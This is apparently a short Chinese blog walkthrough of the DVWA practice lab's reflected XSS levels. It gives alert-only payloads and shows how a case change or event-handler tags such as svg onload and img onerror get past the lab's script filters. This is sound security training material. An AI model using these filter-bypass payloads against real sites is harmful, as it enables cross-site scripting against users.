【dvwa靶场:XSS系列】XSS (Reflected)低-中-高级别,通关啦

一、低级low

简单拿捏

复制代码
<script>alert(123)</script>

二、中级middle

源码过滤了script但是没有过滤大小写,改成大写S

复制代码
<Script>alert(123)</script>

三、高级high

比中级高,过滤了script并且以及大小写,使用其他标签,二选一就行

复制代码
<svg onload=alert(123)>

<img src=x onerror=alert(123)>
相关推荐
世界尽头与你7 小时前
CVE-2021-40438_ Apache HTTP Server mod_proxy 模块 SSRF漏洞
安全·网络安全·渗透测试·apache
unable code21 小时前
攻防世界-Misc-Wire1
网络安全·ctf·misc·1024程序员节
一岁天才饺子1 天前
SSRF漏洞绕过与漏洞解决
网络·网络安全·ssrf
Chengbei111 天前
fastjson 原生反序列化配合动态代理绕过限制
java·安全·网络安全·系统安全·安全架构
m0_466049971 天前
Webgoat-(A1)Broken Access Control:Hijack a session
web安全·网络安全
Chengbei111 天前
CVE-2025-24813 Tomcat 最新 RCE 分析复现
java·安全·web安全·网络安全·tomcat·系统安全·网络攻击模型
QZ166560951591 天前
2025年国内精细化、可交互、轻量级的泛监测体系产品推荐
网络安全
GoldY丶1 天前
【Geek渗透之路】小迪安全笔记——web安全(3)
笔记·安全·web安全·网络安全·安全威胁分析
晚风(●•σ )1 天前
【华为 ICT & HCIA & eNSP 习题汇总】——题目集27
网络·计算机网络·网络安全·华为
unable code2 天前
攻防世界-Misc-Miscellaneous-200
网络安全·ctf·misc